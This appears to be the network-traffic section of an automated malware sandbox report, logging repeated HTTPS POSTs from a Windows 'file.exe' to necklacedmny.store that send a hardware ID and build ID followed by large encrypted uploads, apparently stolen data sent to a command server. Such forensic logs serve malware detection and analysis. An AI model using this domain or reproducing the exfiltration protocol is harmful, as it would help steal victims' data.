44 4b 65 4d 36 49 67 68 71 66 59 4a 76 51 Data Ascii: 26c1AEROcSrleXDxRcw9gel0NIJM3mJDjCJlgtt74QULI0eMfDZFIqHEvEUBqB2V9HQMu1XiAmJQI1THJyOgLWcXCgUxRgAGnIHRyDjVGLm4dFS6UNtXJ2UbSMpuWu08B16/oPQ6UQ7NvaQxoRgVlcFBCZe0GzcvURtY2mND2GQ3Qye9cS99w8CB6cg4nPW1yU0p4wnX5xdFE3C+C0PYZBNDJhlJDm17+ODJgDTJbOSwPUiDKeM6IghqfYJvQ
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 6a 52 36 56 4a 44 68 77 2f 6d 49 46 63 78 57 47 6b 50 65 47 30 51 61 48 6e 51 4b 4e 37 4c 6d 67 61 52 4a 73 6e 49 36 42 64 43 6c 49 43 57 52 46 50 4e 46 4f 73 7a 4e 57 49 45 65 45 5a 33 50 45 73 4e 4e 6f 46 32 6d 4e 71 61 45 4a 46 6e 69 6f 4b 71 58 77 47 47 6b 70 45 69 50 62 6c 4d 72 32 70 44 50 30 5a 67 4e 6c 42 70 58 6b 4e 67 31 43 37 4a 69 4a 51 49 33 6d 44 52 71 66 67 52 54 70 61 53 77 46 77 38 30 51 2b 6d 49 44 70 79 59 32 51 47 59 48 74 4c 58 43 50 31 4f 38 6e 43 2b 30 58 42 4a 38 6e 65 2b 46 39 43 79 4d 4b 59 58 41 65 4f 44 2b 59 77 4d 47 6b 44 4e 46 38 2b 4c 6b 49 44 64 35 4d 75 6d 4a 43 49 42 70 45 79 79 63 6a 34 48 67 47 43 67 39 41 66 46 5a 77 49 67 46 35 58 4d 56 68 70 44 33 68 4a 58 6c 78 74 30 7a 50 6d 39 76 74 47 32 69 65 46 68 6f 5a 6e 4e Data Ascii: jR6VJDhw/mIFcxWGkPeG0QaHnQKN7LmgaRJsnI6BdClICWRFPNFOszNWIEeEZ3PEsNNoF2mNqaEJFnioKqXwGGkpEiPblMr2pDP0ZgNlBpXkNg1C7JiJQI3mDRqfgRTpaSwFw80Q+mIDpyY2QGYHtLXCP1O8nC+0XBJ8ne+F9CyMKYXAeOD+YwMGkDNF8+LkIDd5MumJCIBpEyycj4HgGCg9AfFZwIgF5XMVhpD3hJXlxt0zPm9vtG2ieFhoZnN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49728	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 00:18:18 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:18:19 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kf4rndbd00lukgsv0junlfld6n; expires=Sun, 23-Feb-2025 18:04:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTgPRzEC1nvEcXpIOogVxM%2BNzXjDYh0RGbrwDZ2dZCoB2IJxKWuF3tJ0zMqMO%2FJrL1W8fYDUXXfcpimeQ0p85JQzbcRPHCGK3a%2F1CWB0T%2BoAI1%2FQ%2FQbJwwxFLTiyRFcLz3SExos%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf779379272ff0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2008321&cwnd=239&unsent_bytes=0&cid=5135acc8b49f2fbc&ts=730&x=0"
2024-10-31 00:18:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:18:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49739	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 00:18:20 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:18:20 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggg4l2a3tkd879frjjgug1fqmi; expires=Sun, 23-Feb-2025 18:04:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rn3ZVScgBBqK8tmYvflkpPg6LIRkZKDSD2DTdbYXPz7A9i5%2FWxOLBrc4PrlDARa0qQPvQyl72fvvB0IrjAUu4Pszv5LAUwMGTvVkVLlpCXRDTjI3w3vwylyJqCfwOlQM%2FRiSlOQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf779dfb463ab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2385502&cwnd=251&unsent_bytes=0&cid=b959c304c27d351e&ts=367&x=0"
2024-10-31 00:18:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:18:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49750	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 00:18:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:18:21 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 00:18:22 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7gfogf5no6bn46p0gceapqi4lu; expires=Sun, 23-Feb-2025 18:05:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O3GH8oW4KqQZa36DMaSwlB0R8VglY9329VIghgVFhoLPwrwzw7gEkON6xxPQZj2v0bAcrlmJzrmJKpkzcCrWseCDcwzKxuYjlh5n5SQaGFpaNjVzgK6I51Rn3C61%2FeU1zBu1qdM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf77a69f4f485f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=1619686&cwnd=251&unsent_bytes=0&cid=958bf34a21d9252d&ts=645&x=0"
2024-10-31 00:18:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:18:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49761	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:23 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: necklacedmny.store
2024-10-31 00:18:23 UTC	1216	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:18:23 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4alacdhlbt6m7r6lfkg1caf9ur; expires=Sun, 23-Feb-2025 18:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zj3MOf%2B712ja7svsDWCcSumNM7Gr%2FtWPSFOWfpub4y6xgQ4p6HV6kwKgj7E89PlWqkMmOVW9O1oV0aVbBOC0PWyobBQybF%2FnGsyGVJ5JjS2m1m40AQt2oV0SsDcraw50uo0hanA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf77b098690bc7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1737&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2135&delivery_rate=1837563&cwnd=236&unsent_bytes=0&cid=de83a3af97005f2d&ts=464&x=0"
2024-10-31 00:18:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:18:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49771	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572194 Host: necklacedmny.store
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 26 68 ac 6f 02 b3 80 e2 27 81 e2 6e a3 84 18 c5 c0 9b 96 46 0e 9d 88 fd d8 27 db 27 04 ce 26 a5 3b 79 e0 40 b3 d2 46 90 29 3a 56 22 cb a9 1c 52 54 87 a9 12 fc 52 6d 64 f2 7d 4c 0d 8f ff 84 90 d2 6e 59 1f 67 2e 14 33 0a 25 bc 58 9e 52 e7 4d ef bf 47 ad b6 50 d0 1a 86 e5 7b 4b 81 8d 3b ef 67 69 19 a6 f8 14 66 9e 92 b6 d9 1c e8 a6 c4 6a 70 16 e5 92 56 95 6a 47 df 64 f8 72 f2 85 c8 24 1a e2 4f 04 37 64 57 bf dd 84 0d 25 0a 9f 86 1b 61 61 ff 5f 10 7b f3 a3 a8 f2 67 b5 9a 01 91 3c 90 b8 34 c6 9c fc 7c 89 ef ab 52 52 17 96 db f0 41 fd 02 12 d0 50 29 5e e8 57 12 5a 50 cb 40 e9 e4 64 97 f8 bd be 10 86 ec 6f db c5 6c 9a 56 68 6f 3d e0 4f eb 63 e6 d4 b8 29 85 9c 65 45 b6 d8 c6 92 49 fb 03 75 de e7 69 cd 31 65 77 f0 15 b2 8a 21 23 96 1c 9c d8 b2 6f 84 2e 0d 91 1d e1 Data Ascii: &ho'nF''&;y@F):V"RTRmd}LnYg.3%XRMGP{K;gifjpVjGdr$O7dW%aa_{g<4\|RRAP)^WZP@dolVho=Oc)eEIui1ew!#o.
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 29 ed 78 d2 6e cd 74 ea 59 3b bf 21 f4 ef cc 67 a8 5a 59 d2 a9 45 4b 6d 5e 8a a7 f6 8e 40 2e 34 f9 a5 da dd 9d f5 ba d8 5a 29 a2 72 f4 cf f6 ff 17 1e 36 9f 29 44 aa d6 5d de d5 59 4d 77 6e 11 d3 fc b3 a9 ec d2 e9 29 95 23 c6 04 c2 0e af f7 5a 09 a4 95 b4 a1 bb 81 b7 fb e9 71 0a 82 c9 77 21 23 0d 94 6a a1 5a a7 db c3 5e b3 43 d1 01 45 c1 51 31 41 ce 08 64 35 09 d3 8c b0 6c 0a 2f 25 60 58 92 3d 8f da 56 d5 92 ef d6 99 0c 22 fd 9b 70 b5 d1 2e f3 79 3c f7 71 85 28 84 ac d2 ed 9e 67 52 04 08 63 ca 8e f4 a8 d0 b8 f5 37 9f bd b7 84 95 a9 af 7d 0e f5 41 6f 1f ad de a1 58 ba 99 b4 4d 25 0a be 31 a9 32 1c 61 9f 1b c6 32 b1 5b bf 47 b7 fe d1 94 e0 b4 03 b5 55 dd 76 4b 33 7f 7c 52 6f c8 f9 fd de 40 99 d1 35 8f c0 d9 b7 ef 2b ff 3c 28 61 73 a6 97 3f af 9c ac 33 a8 e1 Data Ascii: )xntY;!gZYEKm^@.4Z)r6)D]YMwn)#Zqw!#jZ^CEQ1Ad5l/%`X=V"p.y<q(gRc7}AoXM%12a2[GUvK3\|Ro@5+<(as?3
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 29 2b e0 77 13 9d af 3a f5 db e4 f0 72 4e db 79 cd ab b8 44 f1 83 cf 27 e9 a9 4b 85 7f d6 a0 8c ae 62 0f 1c e5 e5 21 9d 63 69 cd cb a4 c5 f3 37 26 76 c6 1f cf d5 6b 3c cf 0d 3a 69 91 23 fc 0f 95 b8 ae 34 da 8c 09 e8 78 69 32 21 1b ee 46 33 28 1c 1d ab 81 d9 af 30 1e bd ba 14 e0 58 df a4 66 18 30 cd cd 1d 72 76 da fd 91 30 2b 7b 55 79 94 57 c6 54 6c 26 51 35 56 bc 38 2c d5 c5 4e 0f 6e b3 9b 72 ef 88 43 a9 00 78 67 ca d3 54 fb bc 2f a4 23 78 73 9d c6 16 ef 60 99 2f 26 8c 79 ee ac 7c f8 e9 5a 84 17 97 1a e4 39 a9 ca 00 a7 bd 6a fb 96 de ae 61 bb 42 43 e3 79 c1 8e 3c f9 4d d6 2b b1 0f 88 bb 05 67 a4 c8 87 8e a0 a8 c7 a5 a0 f0 8d f5 81 e6 ae f8 d7 07 c9 34 c9 cd 38 24 78 d7 11 42 10 03 cc 33 ca f7 d2 b4 58 fa bc be ca 67 3f e8 a3 23 3b 4e d2 b0 e0 b3 e0 eb bf Data Ascii: )+w:rNyD'Kb!ci7&vk<:i#4xi2!F3(0Xf0rv0+{UyWTl&Q5V8,NnrCxgT/#xs`/&y\|Z9jaBCy<M+g48$xB3Xg?#;N
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 95 50 c0 3e 64 46 69 fc 41 f2 8c db 31 1b 45 0a 6c de a1 3b 4f 84 f8 3d 51 10 80 dd 37 6b 23 8a 6b 7b 9a 44 78 e4 28 fe ad 4b c2 2f ca 8c c8 81 db 90 13 1e 1c 18 11 f8 c9 2d f4 e1 ba b7 76 34 71 26 ef f2 9d 6c 50 13 38 b2 30 f4 29 23 08 92 20 4c e8 56 54 9d 8d b7 8c ec 44 1a 4e 62 55 50 e1 f7 09 93 cf b9 34 a1 1b d8 ee 50 3e f6 d8 c4 1f 69 a8 73 58 ef e2 3a c2 7b 4f 7a 5d f4 ff de f8 eb 90 9a 85 41 93 fe 54 bb 17 48 3f 7f 43 cc 16 91 be b1 a1 2c ab 3c 3a 05 7b 26 e7 17 eb 8e a9 e2 f8 84 8f 3f 7c 27 7c 62 bb 96 6c 4c f7 3b 51 a9 31 87 30 51 3e a1 12 f4 d3 58 12 48 1e 17 4d f8 ff 07 eb ff 16 33 7a 1b 78 57 8c 74 db 9a 44 fe 91 d0 52 53 7e 04 99 ac c5 ce 4b 83 5f 1b e8 fe 42 8f 84 2c 1f 6c e4 e1 c1 fa 8a 93 13 72 81 8c 9d d9 3f 12 01 00 1f 47 05 9c ca fd 0b Data Ascii: P>dFiA1El;O=Q7k#k{Dx(K/-v4q&lP80)# LVTDNbUP4P>isX:{Oz]ATH?C,<:{&?\|'\|blL;Q10Q>XHM3zxWtDRS~K_B,lr?G
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 73 b5 3c 9c f9 56 4f fc 99 6e b5 56 bd 46 6f d7 88 2d bf 06 63 f7 61 3b be c7 87 e8 3d d9 4e 0e 9d a9 9d d4 f9 1b 22 c0 6a 2c 4d c3 e2 a5 15 42 b7 85 b7 2c 11 d5 15 77 06 56 58 3b 74 e2 7e 52 ad 8b 4d 8b 23 a2 62 42 23 85 39 af fe 25 b6 11 87 1a 4d 47 1a 12 c5 3e 64 dd 8e 36 4b 02 1d d0 44 c1 45 d1 f2 db f8 f5 68 62 ea 47 79 4b 1c fc 4e 10 cf 98 19 e7 43 a8 11 89 7d 28 92 12 a0 1f 33 f8 5f a4 dd fd 6f 63 a5 26 09 62 bf 77 d5 61 46 48 ec d0 61 a2 25 18 3a 46 00 70 34 00 4d 11 bd 02 e6 1f b5 b7 7b ea 3c 38 0e 9c 5e dc 94 74 ea d7 45 d0 b6 91 14 9a 1a c4 85 ba ee 1e 62 84 05 09 0e 82 fb 75 14 09 c0 e0 8d 5e bc 35 df 2a 03 26 2e ac 6b b3 da 85 27 69 38 94 14 e6 2f 4c 34 88 72 58 a0 ec 48 b5 30 77 2f 3f eb 89 ff 4b 46 e9 ba 73 f7 dc 1f a5 9a 91 83 bf ee 68 0b Data Ascii: s<VOnVFo-ca;=N"j,MB,wVX;t~RM#bB#9%MG>d6KDEhbGyKNC}(3_oc&bwaFHa%:Fp4M{<8^tEbu^5*&.k'i8/L4rXH0w/?KFsh
2024-10-31 00:18:25 UTC	15331	OUT	Data Raw: 48 fe a1 c4 7d 2b d8 c0 f0 58 66 51 6b 6d 95 ec 9f db 50 d4 54 a6 c4 38 01 bf 70 b4 bc e9 ac 84 92 dc 98 db a8 ca bb 6b 69 d9 b2 29 44 f0 15 ca 5f 02 d0 f7 72 9b e0 4c 24 21 2e 99 97 7b fe 4e 3b 4f 3e bf 9d cc 39 7d 7f 23 3e 2b 69 42 b7 9a 95 15 9f f5 3a 99 2a 02 f2 be 7e 8f 48 1f b6 31 20 8f 7e 80 43 7c f0 65 c7 98 5a eb b4 8b 04 ab fb cd 41 78 49 87 f2 67 49 d5 b1 a1 09 d8 51 55 60 bf 5a 72 a7 be 42 f0 02 50 4d 63 b2 72 66 98 57 f9 a4 6e bd 5b a9 e3 fd 6e a2 3c c0 37 e4 a6 50 89 57 ce 93 e1 e8 3d ca af 44 c1 23 83 99 d5 ba 16 a4 f7 18 5a fc f5 ad bd c6 38 2c d4 3a 6c 75 36 48 8f cd 12 7c ce 62 69 f0 3e 2c 92 36 72 f3 d7 d6 04 52 fb 75 6b 74 f9 29 b3 1c f7 fe ee 69 a5 c7 b8 5b c4 a1 75 76 96 c2 aa bb b0 20 73 23 07 1d 5d 9f a8 64 57 f8 cf 3f ff ba 01 f7 Data Ascii: H}+XfQkmPT8pki)D_rL$!.{N;O>9}#>+iB:*~H1 ~C\|eZAxIgIQU`ZrBPMcrfWn[n<7PW=D#Z8,:lu6H\|bi>,6rRukt)i[uv s#]dW?
